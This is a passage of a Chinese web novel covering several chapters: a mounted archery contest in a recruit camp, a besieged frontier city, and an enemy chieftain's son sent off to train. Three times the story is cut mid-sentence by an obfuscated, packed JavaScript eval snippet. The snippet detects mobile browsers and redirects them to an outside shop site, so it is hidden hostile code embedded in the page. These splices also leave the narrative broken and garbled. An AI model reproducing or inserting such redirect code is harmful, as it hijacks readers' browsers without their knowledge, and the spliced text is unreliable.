在疾驰的马背上保持平衡的同时还要准确快速的射中三个间隙极短的箭靶,甭说他们这群才入营连马毛都没摸过的新兵,就是有些久经沙场的老兵也做不到,不然,中北也不会这么多年都拿在边境横行霸道、为非作歹的北漠铁骑没办法。 众人看向挽着硬弓、套上箭筒,以及其娴熟与轻盈之姿跨上马背的艾川栋,均不约而同地觉得,这场比试初暒无疑是自取其辱。 而不被他们看好的初暒本人,抬手摸了摸身边一匹看似脾气不是很好的战马,而后捏着马鞍、踩着马镫连拽带爬的攀上马背后,边捋着马儿鬃毛边轻声松了口气。 围在跑道外场看热闹的人瞧见她这幅笨手笨脚的模样都乐得哈哈大笑起来,伍千裘在这些笑声中没什么表情,可楚六像是自己在场上丢人似的,不忍地捂着自己的眼睛,啧了一声重重叹气,“天爷诶!我都替她觉得难堪!” 宋运看着握着缰绳在马背上都有些坐不稳的初暒,担忧道,“输了没关系的,只要她别伤着就好。” 杨田与董梁也跟着点头,“是呀是呀……” “铛!” 锣槌撞击锣身,艾川栋应声率先乘一匹红棕战马疾驰跃出,马蹄踏在场上将消未消的积雪中捡起无数灰白泥点,聚在场外欢呼鼓劲儿的兵士们为避开这些迎面飞来泥点不由侧身后仰,而等骏马从面前奔走跑远,他们才看清艾川栋已经将六支箭留在了一个靶垛中心之上。 这么快! 站在第二个靶垛附近的人也不顾什么泥点不泥点的了,只瞪大自己的眼睛看着艾川栋脚踩马镫腰臀微微悬在马鞍之上,整个上身像静止在急速奔跑的战马背上,在路过靶垛时右手指尖一松便迅速从箭囊中又抽出三支,‘嗖’的全部放出。 “咚咚咚!” 三支箭矢正中靶心。 乘战马射击一个靶垛需要六支箭矢,到此时艾川栋已经用了十二支,众人看他以此法跑过第三个靶垛时测算出他的箭囊中还剩两支箭矢,都还在想这二十支箭要是没射完还能不能算赢那瞬,一抬眼竟看见马背上的艾川栋抽出最后两箭猛地转身回射,来了一招敏捷利落的回马箭。 艾川栋在顷刻间乘战马射出二十支箭,且箭箭正中靶心,身负此等技艺,难怪看不起以烧杀抢掠之能混入军营的土匪了。 “好!” 不知是谁起了头,挤在跑道外的所有兵士们纷纷拍手叫好,艾川栋在众人仰慕的视线中,骑马重又回到了起点,他势在必得于是得意地看着还在马背上调弓的初暒说,“要现在认输还不算丢脸。” 量力调弓,量弓制矢。 弓矢不调,羿不能以必中。① 初暒将硬弓调试到适合自己发力的程度,手握长弓回视着这个确擅几分骑射的男子,道,“我要是想认输,这会儿白费力气调弓做什么,你才射出去二十支箭眼神就开始不好使了么。” 以为初暒还在嘴硬,艾川栋不屑笑了笑,抬手向她做了个请的手势。 初暒也不拿乔,在他目光中双腿夹了一下马腹,缓缓走向起跑位置。 艾川栋大炫自己的骑射技艺,引得围观这场比试的人都心潮澎湃,他们还未从方才的激动中冷静下来,扭头又瞧见初暒颤颤巍巍骑着马出现。 嬉笑与嘲讽不绝入耳,可白冲看眼前这人却像是听不见似的,只在原地专注地等待起跑锣声。 虽不喜初暒总是这幅眼高于顶的模样,但白冲也不得不承认,面对必输无疑的比试还能这般云淡风轻,她的心态还真是好的没话说。 挥手敲锣。 啰音未落,‘驾’声先起。 眨眼间,仍是一道红棕骏马身影从人们眼前急速飞过。 初暒手执长弓、腰负箭囊,身乘骏马势如追风,目如流电向前直奔,就在众人以为她会以此速度跑过靶垛而来不及射箭时,有眼尖的人瞧见,她亦从腰间箭囊中抽出了三支箭矢调息搭弦。 不等所有人反应,初暒立身大架,眼明视专,前手主定,后手加力,拉满手中弓、急放弦上箭,‘嗖’的一声弦回箭发,第一个靶垛中心落入箭矢两支。 搭箭三支却只射中两支,自初暒架马立在起跑线时就开始警钟大作的艾川栋忽的愣了一瞬。 旁人没看清,都以为初暒是在抽箭时不慎掉了一支,可艾川栋清楚,那未被射出的一箭还虚搭在她的弦上。 这手法他原先只在兵书中看过。 书上说,与敌对战中,若才发两箭便遇上突发情况,那剩下的一支便可作为后备迅速转向发出,他也练过这法子,可始终无法在弦上维持两支箭的稳定而只将第三支箭挂在弓弦上作为预备箭矢。 他没做到的事情,有人竟做到了。 艾川栋紧握双拳,继续咬牙看着场上循环抽三箭而只发两箭的初暒。 骏马飞驰而过,伍千裘定睛才发现,第一个靶垛中心上也落入六支箭矢。 他眼睛一亮,惊呼,“好快的身手!抽三箭只发两箭,却也能同艾川栋一样在靶垛中心留下六箭!” 在伍千裘的声音里,所有嘲笑奚落初暒的人的目光已齐刷刷跟随她的身影接近了最后一个靶垛。 以迅雷不及掩耳之势抽搭三次连发六箭,初暒手中只剩最后两支箭,众人看她和艾川栋同样策马跑过第三个靶垛都在聚精会神看她会以何种姿态发出最后两支,却没想到就在此时,场外倏地飞出一箭,竟直直朝着初暒背部射去! 伍千裘最先高喊,“小心!” 而早在他发声之前,初暒已然察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888166|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉身后动静,她迅疾反手握着马鞍翻身拖马随行。 马背上忽然不见她的人影,宋运惊恐啊了一声,在旁边看他们比试的教头也以为初暒中了暗箭不慎坠马,都吃了一惊接二连三的在新兵们的呼喊声中跳出来救人。 只不过… 他们还没从人群里挤出,自‘无人’掌控的战马上方发出的两道箭矢就先他们一步落入第三个靶垛。 “蹬里藏身!?” 踩蹬藏身马背侧面,只等时机成熟,突然出现射杀敌人。 艾川栋放下手中硬弓又大喊一句,“你他娘的怎的还学过此等偷袭战术,真是无耻!” 避开身后暗箭,重新翻身坐回马背的初暒亦在与艾川栋不相上下的时间内,发完囊中二十支箭返回起点。 她离蹬跳下马,推开惊讶地朝自己跑来想要庆贺的楚六,切齿狠狠直冲着在战马旁愤怒叫骂的艾川栋脸上奋力挥了一拳。 “我认真与你比试,而你却在身后用暗箭偷袭我,要论无耻,你排第一没人就敢排第二!” 虽然白冲没有公布两人骑射时间,但艾川栋心知肚明这场比试是他输了。 艾川栋没想过有人会在自己擅长的技艺上打败自己,一时昏头才从手边抽出一支箭朝初暒射去。 他又不是故意的! 何况人不是没事么! 输了比试本就气愤的艾川栋被初暒打过一拳后更是怒极,他不管嘴角疼痛,也举着拳头朝初暒面门挥去。 艾川栋人高马大,初暒也不甘示弱,两人你来我往打得不开交,饶是白冲与伍千裘等人同时窜出来也没能将打得难解难分的两人拉开。 “都住手!” 围在此处看热闹的新兵被两拨兵士推搡在两边,空出一条可供行走的路来,从头到尾旁观完这场骑射比试的人,在众教头的簇拥下缓步走向正骑着艾川栋狂锤的初暒,沉声道,“我说住手。” 初暒悬在空中的手一顿,看清来人后终于从艾川栋身上站起。 阎龙目光在面前鼻青脸肿的两人身上扫过后,又看向了周围看着自己胆战心惊的诸多新兵未露喜怒。 昨夜才讲过军纪,今日他们就开始在练兵场放纵喧哗。 阎龙不说话,新兵们还以为他在心里琢磨自己惩罚他们,都吓得默不作声。 像是十分享受这种沉默,阎龙过了好一会儿才说,“初暒、艾川栋!军中互斗,但念在情节较轻,罚你二人马步站桩三个时辰!” 初暒:“是!” 艾川栋:“是!” 三个时辰? 都过了晚间饭点了! 艾川栋午饭没吃,晚上还得挨饿,拱手应声时不由恨恨剜了初暒一眼。 初暒与艾川栋去练兵场旁木桩阵中领罚,阎龙面向场中剩余新兵,高声喝道,“其余人迅速集结,听我口令做列队训练!” 众新兵:“是!” 新兵们应声后便立即照着记忆在练兵上找寻自己原先的站位,却因为不熟悉场地和不懂相互配合而在场内碰碰撞撞,有几个还险些被同袍撞倒。 这么些人只是列队就如此混乱,真是一群废物…… 阎龙面无表情的在心里怒骂,这时有三个小兵各拖着一个靶垛朝他走来禀报道,“阎教头,属下清理那两个新兵骑射靶场时发现了这个,您请过目。” 靶场靶垛大多都是由干草、稻草堆叠而成。 这种靶垛制作简单,成品却十分坚固,寻常百姓根本无法使弓将箭矢没入其中。 可眼前这三个靶垛,每个上面至少杵着六支箭矢,而每一支箭已经不能说没入了。 它们均刺穿了比成年强壮男子身体还厚一倍的靶垛。 尤其最后一个,靶垛与靶架分离,是被小兵捡回单独拎在手里提来的。 “艾川栋那三个靶子与寻常士兵作训骑射时差不多,可这三个……”阎龙戳着刺猬一般的靶垛,听小兵又说,“阎教头,属下从军这些年从未见过如此酣畅淋漓的骑射比试,初暒这小子,是个苗子。” 阎龙自然知道初暒是个苗子。 这个苗子既能让数百名虔来山中土匪甘愿俯首追随、又能一声不响的负重跑完二十里,还身负如此策马骑射才能,说她是苗子都实在是抬举苗子。 阎龙并非没有见过好兵,可是却没见过这样一个好到发邪的兵。 他有些瘆得慌。 站桩阵中,艾川栋不知说了什么惹到初暒,被她一脚从上面踹了下来,艾川栋骂骂咧咧回去后,特意站的离她远一些,阎龙笑笑,背手看着这两个跟没长大的孩子一样受罚也不安分的新兵蛋子,冷声道—— “好苗子须得经受风吹雨打、修剪冗余才可使之成材,只是不知……她那小身板能不能受得住。” 118. 异动 中北冬季征兵,征来了一窝土匪。 还是慕峰青剿匪没剿下来的虔来山那一窝。 铁铭从运送赈济粮的押粮官口中听到此消息后顾不得唏嘘,转身从混着谷壳与沙石的粮食中把能食用的挑出来后便立即加急送往了安置在武江城各处的难民赈济点。 将武江城周边城池借了个遍,朝廷才终于送来了救命粮食,虽说比预计的量少了许多,但无论如何,百姓们总还是能填一填肚子的。 焦头烂额近一个月,铁铭总算能坐下来歇口气。 桌上茶杯里的白水已经结了一层薄冰,他也不嫌凉,捧起来就往嘴边送。 才刚抿了一口,门外就响起亲信长随的焦急呼唤—— “大人不好了!城中富户当街讨息催租与众争执不下,两方人说不通快要打起来了!您快去看看吧!” 轻轻叹息一声,铁铭揉了揉自己突突直跳的眉心,起身出去。 武江城主街中,一群人围着另一群人指点叫骂,他们语气冲撞、言辞激烈,恨不能抓住对方的错处,以便在他们身上趁机发泄自己连日以来被死亡威胁的恐惧与愤怒。 一位身着锦衣棉布的肥头大耳男子揪着骨瘦嶙峋的小贩,狰狞说,“你拖欠我房屋赁金已有数月之久,若不全数还我,不消城外漠匪惦记,今日便是你的死期!” 小贩光脚不怕穿鞋,亦同他吹胡子瞪眼,“左不过是死,你要杀便杀,杀了我!你一文钱都甭想拿到!” “还敢叫嚣?真当我不敢么!”富户被小贩激怒,回去取了刀就朝他来挥来,“我非砍了你与我解气!” 铁铭挤进围观人群一眼就瞧见高举着菜刀的富户,惊得立即冲上去将他拦腰搂…… 富户的腰太粗了。 铁铭搂不住一点儿,只能举手顶着他的胳膊肘不让他手中菜刀落下,“何至于此!快将刀放下!” 富户见来人是他顷刻丢了刀,撇着嘴委屈地嚎啕起来,“欠债还钱天经地义,可是铁大人您瞧,这群人活脱将自己欠成了大爷……” 被催债的小贩也声泪俱下,道,“漠匪在城里烧杀抢掠,能吃能用的都被他们糟蹋地所剩无几,小人实在是有心无力啊!” 两个人各有各理,铁铭先苦口对其中一人说,“眼下北漠人还在城外不远虎视眈眈,城中百姓尚无余粮糊口,哪来的银钱还账,你不说尽自己所能团结同乡父老合力抗敌,竟还在此时机收租揽息、动刀逼迫,却不仔细想想,若是那帮子漠匪卷土重来,就算你富可敌国,又还能在他们铁蹄之下剩下什么呢!你中年发家,想来不是愚昧之人,若觉得我说的有理,今日便先饶过他们,债务纠纷等敌退后再议,如何?” 富户吭吭哧哧不说话,铁铭又看向另一个人,婆心道,“武江城近段时间虽是难过时候,但所幸还有慕将军坐镇,谅那群漠匪也不敢在外轻举妄动,本官深信要不了多久,城内定会恢复往日生机,到那时你等也切记‘欠账还钱古来理,为人着想莫添烦’之言,尽早将欠款还上,你看如何?” 本就是一群趋小利而无大害的百姓借着冲突发泄情绪,此时见朝廷如此高官在为自己说好话、铺台阶都不约而同点头称是。 与自家大人将哄在此处的百姓们疏散走,长随抱怨说,“安抚百姓、援建屋舍、赈济伤民诸事本应是守城将之责,可慕将军却只当甩手掌柜将这些事儿全丢给您,自己成日钻在城楼上躲懒,还美名曰:察敌动向、伺机反扑,可小的所见,他这一个月净‘伺机’了,哪有一丝‘反扑’的意思。” 铁铭一边巡视街巷,一边口是心非道,“慕将军率赤霄军在边境与北漠打了那么多年,还能怕了这群宵小不成?许是武江城外形势有变,他还在思虑应对战术,你这厮什么都不晓得切莫再说这些扰乱众心的话,当心祸从口出。” 长随文言立即鬼鬼祟祟左右看看,低低应了一声,“小的知错,以后再不敢乱说。” 临近城门,铁铭听着不停在城外捶拍大门,意欲闯进来谋求一线生路的流民哭喊声,不由重重叹了口气。 漠匪屠戮武江城被赶来的赤霄军吓退后沿路还祸害了不少零散村落,这些人逃难来此想进城寻亲投靠,却均被慕峰青言令挡在门外,铁铭出身贫寒,实在不忍这些百姓流离失所,便好言与那慕峰青商议,看能否想个妥善法子收留他们。 但铁铭也不知自己究竟是那句话得罪了慕峰青,竟惹得他当众与自己拍桌子叫板说,“这些人均来自外乡,你怎知他们中没有奸细混入!若真有奸细,放他们进来后酿成的祸事铁大人您担不担得住!” 铁铭记得自己当时被这文质彬彬的武将吓住,‘我’了一声就又听他怒道,“且武江城被漠匪洗劫一空,从周遭借来的粮食还不够本城百姓塞牙缝的,哪有闲心顾忌旁人,铁大人有操心外乡人的功夫,不如快快入城尽忠职守,做好自己的分内事!” 慕峰青将中北百姓称作‘旁人’。 铁铭无话可说。 他灰溜溜出了营帐,把武江城消息撰为奏疏送回晁都后便只如慕峰青所言在城内做好自己分内事,再没有与他见过面。 初入仕时为匡正世道人心的誓言犹在耳边,可从地方调回晁都做官不过一年,铁铭就已经被官场磨平了自己的棱角。 直至一个月之后的今日,他还是想不明白到底是舍命只为护卫一城百姓的慕峰青错了,还是惦念所有被拒之门外的百姓的自己错了。 脑子想不明白,但是该干的活儿还是得干。 铁铭沉吟片刻,回首嘱咐长随,“‘孤则易折,众则难摧’,你速带人召集年满十六岁青壮男子在空打谷场上加以操练,以作后备民兵,城外虽有赤霄军护卫,但我们城内之人也需懂得自卫才行。” 长随拱手应声,转身跑远。 与其翘首指望一个瞧着好像指望不上的人,不如振奋精神指望自己。 铁铭仰头,若有所思的看了城楼一眼而后背手离去。 城楼之上,瞧着好像指望不上的人,已经消瘦了一圈。 岑虎看着在城墙上凝神望向驻扎在城外十数里北漠营地的慕峰青,担忧说,“将军,北漠听见我军名号撒腿就跑,怎敢在您眼皮子底下为非作歹,您快歇歇吃些东西吧。” “漠匪狡猾,指不定什么时候就会率众攻来!尤其是塔鲁阿卓身边出现的那张新面孔,在没有摸清他的底细之前,全军上下切勿掉以轻心!”慕峰青目不转睛的发号施令,“积雪化水后,命人轮番将其浇筑于城墙之上,以使水流冰冻后,城滑敌不可攀!” 岑虎:“是!” 原先跟在慕初身边时,慕峰青曾见她在守城时命人收集城中百姓秽物,而后将其分别盛在木桶之中,向企图攀城墙而上的敌人劈头浇下,那些人被粪味熏得眼冒金星不说,城墙上亦滑腻的架不住攀墙云梯,此举不仅给敌人心身留下阴影,还成功阻止了他们以武力攻城的意图,十分的解气好用。 幸得近日天寒,不需那些秽物也能以此法抗敌。 眼看众多兵士井然有序的将冰水浇在城墙,慕峰青拧着的眉头总算舒展一些。 浑身酸软难耐,他穿着战甲靠坐在墙边假寐。 精神紧绷多日,慕峰青头昏脑涨就连思绪也不知飘到了何处,只隐约记得,初至武江城与北漠对上时,他还以为自己会死在那帮匪贼的铁蹄之下,却没想到…… 那日,北漠大部一看到赤霄军军旗露头便拔腿就跑,只留下胆战心惊的慕峰青与斗志昂扬的赤霄军众将领怔在原地莫名其妙。 还是躲在后部的铁铭瞧见如此场景,与有荣焉的喊了一句:漠匪忌惮赤霄军威名,吓得落荒而逃啦! 慕峰青才反应过来,此战不战而胜了。 只是他还尚未来得及欣喜,抬眼又瞧见在那群抱头鼠窜、抱头溃逃的北漠军队中,有一少年率领一众兵马破阵逆袭,直朝他所在方向奋勇奔来。 那是一张年轻又陌生的面孔。 慕峰青并不记得慕初曾经的对手中有这号人。 不等他细想,那少年便策马挥着长戟迎着赤霄军如入无人之境,慕峰青一时慌神,被身边亲卫们舍命护住才几次化险为夷。 映月关一战后,这还是慕峰青首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你忘了,是咱们慕将军剿匪剿了一半被急调来武江城的,接他差事的好像是…幽王。” “哼,要不是有咱们将军,那个风一吹就倒还成日惦记皇位的‘奸王’能成什么事。” “不过,我今日听押粮小兵说,招安虔来土匪之所以这样顺利,是因为有个土匪寨子里新冒出头一位二当家,此人有勇有谋、彪悍非常,只抡一把大斧,就率众连收三寨成为虔来山霸主,朝廷发出招安旨意就是他点头受招后才带着山中所有土匪下山从军的。” “哎呀呀,虔来山这个土匪窝在中北为祸多年,能将这帮草莽收服,想必这二当家必定有其过人之处,如今她既然从军,将来说不定还能与你我在一处当兵,哎,你可打听到此人名号?” “我还真打听到了,听说姓初,叫……初暒,对,就是初暒!” “初暒?怎么听着娘们唧唧的,确定那位好汉就叫这名儿?” “这我还能听错……” 浇完城墙聚在一处闲聊的小兵们话说一半,忽见头顶有一片阴影落下,他们刚要扭头寻这阴影来处,就听那片阴影急促问,“你们说的可是威虎寨二当家初暒,她是哪个初?哪个暒?” 躲懒被顶头上上司抓个正着,小兵们连忙挺身抱拳行礼。 “属下们说的正是那位二当家,听誊写军籍的同袍们传言那初是雪霁初晴的初,暒是日星暒。”其中一个说的哆哆嗦嗦,却还惦记着与自己的顶头上上司说笑,“属下刚听这名时,还当是竖心那个情呢嘿嘿,哪知人家那个暒字比属下想的大气……” 初暒? 慕初情? 同音不同字,可慕峰青的心口还是在砰砰作响。 他还想再问土匪初暒受招细节,余光又瞥见岑虎匆匆朝此处走来,焦急道—— “将军!” “探子来报,驻扎在武江城外数十里的北漠营地中出现异动!” 119. 契合 一个月之前,北漠塔鲁阿卓率领一众部下血洗了武江城,中北朝廷一闻此讯便当即将慕峰青急调边境以战匪贼,复克城池。 半个月之后,马不停蹄赶来的慕峰青与麾下赤霄军终于在武江城外汇合。 武江城内,整装待发的北漠士兵们原本已经做好与之血战到底的准备,可当那面飘扬在冬日寒风中的赤红镶黄军旗在瞳孔中由远及近时,他们心里还是怯了。 那是北漠所有士兵熟悉的不能再熟悉的军旗。 那是赤霄军军旗。 一年前与赤霄军映月关一战,至今都是北漠狼族的噩梦。 而一年后的今天,当赤霄军被自己挑衅反而猫在武江城内闭门不出,甚至还开始无端往城墙上浇水时,叱咤大漠的狼族们忽然觉得这场噩梦似乎该醒了。 “我们已经在城外数十里处按兵不动许久,这慕将军往城墙上浇水是在防谁?”塔鲁阿卓身边,有一少年不解发问。 站在他们侧后的宝颜巴特看着这个面容俊朗、器宇不凡的少年人,一时有些怔住。 世人周知,北漠男子生来强壮威武、力大无穷,女子则个个娇艳如花、天资绝色,宛如人间尤物。 可眼前这少年并不强壮,相貌也比北漠模样最好的姑娘还要出众。 北漠人无论男女,向来美丽动人。宝颜巴特以前还没觉得这少年有什么特别,但自从他出使中北归来,就总感觉这少年浑身气度有些似曾相识。 宝颜巴特还在神游,忽听塔鲁阿卓警觉说,“他那人向来诡计多端,休战这一年还不知又学了些什么新花招,巴特!通知盯梢探子,切莫疏忽大意!” 宝颜巴特:“是!狼主。” 看他领命出去,少年没忍住,问,“父亲,我听部下士兵说,巴特有次进攻中北城池,不巧碰上了守城将慕将军,他那时以为慕将军只擅攻不擅守,故而命人强令攻城,却没想到士兵们架上云梯快要攀上城墙时,一抬头就被人迎面泼了秽物,慕将军口鼻绑着帕子,带头将秽物一桶桶泼下,秽物臭气熏得攻城士兵呕吐不止,云梯也因墙上滑腻接二连三滑落在地,以至于参与那次战役士兵到如今听见‘攻城’二字还直犯恶心,我想知道这事儿究竟是不是真的?” 手下战士被敌人用屎尿侮辱,塔鲁阿卓虽然不愿承认,但还是点了一下头,恨恨道,“奇耻大辱,我终有一日要报仇雪恨!” “竟是真的。”少年思索片刻,还是觉得有些不对劲,“那时宝颜巴特带大军攻城,直到兵临城下,慕将军才命人出手反击,可是为何一年之后,我军大部并无进攻苗头,那慕将军就开始以冰水浇筑城墙防备我们攻城了?如此行径实在不像他往日做派。” “往日做派?”塔鲁阿卓似是被他的天真逗乐,哼笑一声,道,“慕峰青那厮虽只比你年长几岁,可在带兵作战上手段老辣、诡谲多变的很,诸如虚虚实实、似非而是这种把戏他早些年便使的得心应手了,还从来没有人能根据他的行径猜出他的做派,你甭以为前几日与赤霄军短暂交过手,就以为自己长能耐了,中北人说初生牛犊不怕虎,可你真要是真信了,最终必定会落得被虎吞入腹中的下场。” 少年抿唇不语,宝颜巴特此时回来复命说,“狼主,武江城四面城墙均被赤霄军兵士以冷水浇筑,此举倒真像是他们为防守做的准备,另,被武江城守城拒之门外的中北百姓较之昨日又少了一些,地上的尸体也多了一些,看来那些人并不是慕将军安排在外假扮逃难百姓的赤霄军。” 不是? 塔鲁阿卓有些吃惊。 他原先曾听暗探说,只要是赤霄军攻守过的城池,受过他们恩泽的百姓无不口口传颂赤霄军英勇军威与将首小慕将军视民如子声名,怎么如今,这伙人竟然会眼睁睁看着中北落难百姓在城外自生自灭? 塔鲁阿卓还在思忖慕峰青此举会不会又是诓他上当的套路,一旁的少年像是恍然想通了什么,急切说,“一个人举止行事或许令人难以捉摸,可其心绪脾性却是十分难改的,我深研过慕将军以往与我部所有战役,晓得此人擅用奇兵,手段狠辣、睚眦必报,狼军此次在武江城搞出如此惊天动静,以我推测,若搁在以前,以慕将军性子早在他与赤霄军汇合当日便会率众怒而反攻,不说赶尽杀绝,也会让我们将从武江城抢来的东西全部吐出,可如今,慕峰青被狼军如此挑衅,居然还能在武江城闭门防守一月之久什么动静都没有,此事实在蹊跷,因而儿恳请父亲准我带一小队近城试探,以辨明敌军虚实,不至于因畏赤霄军盛名而致我部在图谋大业中束手束足!” “你以为我率部驻扎于此是因畏惧赤霄军盛名?!”塔鲁阿卓大怒,抬手重重甩了少年一巴掌,喝道,“我与赤霄军征战多年难道还没有你熟悉慕峰青脾性诡计?何时轮得着你这只乳臭未干的小狼崽子来教老子怎么作战!深研过所有战役又如何,打仗!从来不是纸上谈兵!武江城那日,要不是老子将你拦住,恐怕你早就被慕峰青砍得渣也不剩,你不说在军中稳扎稳打,虚心向学,竟妄想一步登天带兵试探,真是不知天高地厚!” 塔鲁阿卓手中力气宝颜巴特心知肚明,他小步上前虚扶住被一巴掌打的站不稳的少年,低声劝诫,“小狼,我知你心意,但眼下切莫与狼主顶撞。” 被掌掴的脸颊很快肿胀起来,小狼咬牙颔首。 安抚完一个,宝颜巴特又看向另一个,恭敬道,“狼主息怒,小狼年纪还小,言语是冲撞了些,但他对狼主的崇敬之心,奴们都看在眼里,只是这些年狼主将他护佑的太过妥帖,以至于这孩子不知天有多高地有多厚,如今小狼已经在赤霄军与慕峰青面前露了脸,相信要不了多久他们就会猜出小狼身份,因而奴之拙见,与其将小狼留在狼主身边被赤霄军视作眼中钉,倒不如放手任他在中北防守薄弱之地多加历练,好让他长长记性与见识,若将来小狼真能在外闯出名声,八方部落就算再不服气,也总会对他有所忌惮,您看如何?” 愤怒让胸膛里那玩意儿怦怦跳个不停,塔鲁阿卓不由将手掌按在自己前胸大口喘气,他看着自己这个眼底深藏着不甘与野心的儿子,脑袋里突然冒出一个可怕念头—— 他老了。 老去的狼王在狼群中的下场,塔鲁阿卓只是回想都觉得毛骨悚然、镂心刻骨。 他能死。 但…决不能老。 塔鲁阿卓深思许久,才问,“此言有理,依你之见,该由小狼去何处闯练?” 宝颜巴特躬身,答,“奴前几日收到消息称,中北朝廷冬季征兵征来了一窝土匪,他们现今正在西部新兵营中受训,大概三至四个月便可结训分兵,奴打探到这伙儿土匪出身中北虔来山,能被人从以壁立千仞、峰峦叠嶂、地形复杂驰名的虔来山逮住塞进军营,想必这窝土匪也不过是一群碌碌无才之辈,因而奴以为,待他们结训分兵后,再交由小狼练手最为稳妥。” 他有了去处,起码能安分几个月。 “如此甚好。”塔鲁阿卓不住点头,而后又面向小狼,道,“自己去外面挑一队狼军带走,虽说是一帮土匪新兵,但也切莫轻敌大意,武江城这边你无需操心,这段时间先回北漠自作准备罢。” 小狼低头与宝颜巴特相视一眼后,沉声答,“是!多谢父亲!儿必不负您所望!” ———— 还没出新兵营就被人惦记上的土匪新兵们近来日子过得很消闲。 一大清早阎教头的聒噪叫起锣声还没敲响,他们就已经缠好绑腿沙囊、穿好防身铁甲列队在练兵场上等待每日晨间的十里趋跑了。 刚开始这般装扮时楚六曾抱怨说,“每日早起趋跑已经很难过了,还要在身上累赘这些作甚?咱们又没犯错,何苦如此折磨自己,不如就跟大伙儿一样跑罢,还合群些。” 初暒答他,“既然想与众不同,就须得做些与众不同之事,战场上前赴后继的兵士成千上万,你不愿下苦功又凭什么从中冒头?” 伍千裘与宋运听的连连点头,初暒顿了一瞬又道,“平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她堂而皇之在军营中早磨身力,晚打军拳,还时不时被阎龙揪着罚练,于是很快新兵之间的双人角抵(摔跤、相扑)之类作训中就鲜少有人愿与她一队。 伍千裘身量已经十分魁梧,可数招之后还是被初暒撂倒在地,他龇牙揉着发酸腰背起身后笑说,“自从你放话将来要向艾川栋寻仇,我瞧近几日他见你都在绕道走。” 初暒没将他这打趣放在心上,只满脑子在想,伍千裘身量已经算健壮的了,可是与力大强壮的北漠男子比起来还是差得远,这帮新兵如今连自己都放不倒,分兵之后上了战场岂不是白白给人家送命么。 周围新兵们作训中嘻嘻哈哈的笑声萦绕在耳边,初暒心中正焦急思索解决之法时没有留意对面人朝她挥来一拳,但不等她回神,身子却先她一步做出反应。 她下意识侧身避过了那迎面一拳。 楚六惊讶问,“我看你呆滞才来的,你原是在假装么?” 初暒愣了一下后低头看着自己的身体。 她想起之前与艾川栋比试骑射时上马都费劲,可当她拿起弓、勒住缰绳那瞬,她忘记了自己是谁,只记得张弓搭箭手法与战术骑射要领,她脑袋里想出来了,而后身体也就随之做出来了,直到此时她才回过神来。 自己死过一次了,如今这副身体还什么都没练过呢,却与她…… 如此契合。 喜悦只出现了刹那,初暒很快意识到决不能将一次侥幸当做傍身妙法。 要想在战场上活命,她仍须以自己知晓的所有残酷手段苦练自己。 初暒默不作声许久,四周落在她身上的目光越来越多,她顺着那些目光回看过去,决计顺手带着这些新兵蛋子一起练练。 练兵场上,一个人停下,带动一群人也停下了。 就差将眼睛按在初暒身上的阎龙见状疾步走来,环视一圈脸上分明写着‘憨货’二字的呆子们,高声道—— “所有新兵!速聚我处,习识旌旗、辨鼓音,以遵号令之技!” 120. 点拨 中北征兵惯例,新兵入营后,需经初步选拔,以便教头能根据新兵体力强弱与反应速顿将其分营后因材施教。 新兵分完营,会先接受一系列体能磨砺、队列变化与武器使用等基础训练,以此提高增强新兵们的身体素质、纪律性和基本战斗技能。 待到新兵们已经习惯军营作训生活,教头们才会开始进一步教授譬如战斗队形变换、进攻与防御策略拟定、车步骑兵协同作战等战术类训练,使得他们能够更好地适应战场环境,提高战斗效率。 要想让平民百姓在短时间内蜕变成合格兵士绝非易事,以上种种训练至少需要持续三至四个月或许才能得见好兵苗头,但兴民城这些新兵入营不过半月,阎龙就开始下令教习识旌旗、辨鼓音,以遵号令等技艺,实在是仓促至极。 初暒察觉教头异常举动,猜测恐怕是因为中北边境近来不太平且兵源亟缺,上头不得已才这般压缩新兵受训时日。 像是为了验证她的猜想,阎龙等新兵教头每日一在营外迎回趋跑结束的新兵们,就马不卸鞍的将他们带回练兵场接着训练各类作战动作。 教头们穿梭在新兵队列中讲的口干舌燥,新兵们亦竖着耳朵听的全神贯注,可听是一回事,实际操练又是一回事,当阎龙看着演练了好几日,变换队形时还时不时会踩着身侧之人脚后跟的新兵,不由捂着眼睛疲惫地叹了声气。 天色已晚,再拴着他们练下去也无济于事,阎龙大手一挥,高喊,“今日便到此为止,收队回营!” 连日以来的高强度训练将新兵们摧残的面无人色,他们每日筋疲力尽,还要忍受教头们看着自己时眼中的失望之色,都不由暗暗自问,他们难道真的如此愚笨? 这其中,有受不住身心疲惫开始心生退意,后悔入伍从军的,也有受了委屈想回家,抿着嘴钻在营地角落默默流泪的,总之,大部分新兵回营后都靠在各自床铺怀疑人生,唯有一人在收了队自由活动时先闷头做了二百虎卧撑又缠着沙囊吭哧吭哧做了三百高抬腿,好似非得将自己练的再无余力了才肯搭着帕子去盥洗。 杨田匪夷所思的看着自己这个一天到晚不知哪来这么大牛劲儿的小兄弟,不解问,“初暒老弟,大家都是初次当兵,怎的我瞧你却在军中过的这般如鱼得水、游刃有余?” 初暒盥洗完下巴还滴着水,她坐在自己床铺抬手随意一抹,答,“并非只在军中,我这人,在何处都能过的如鱼得水。” 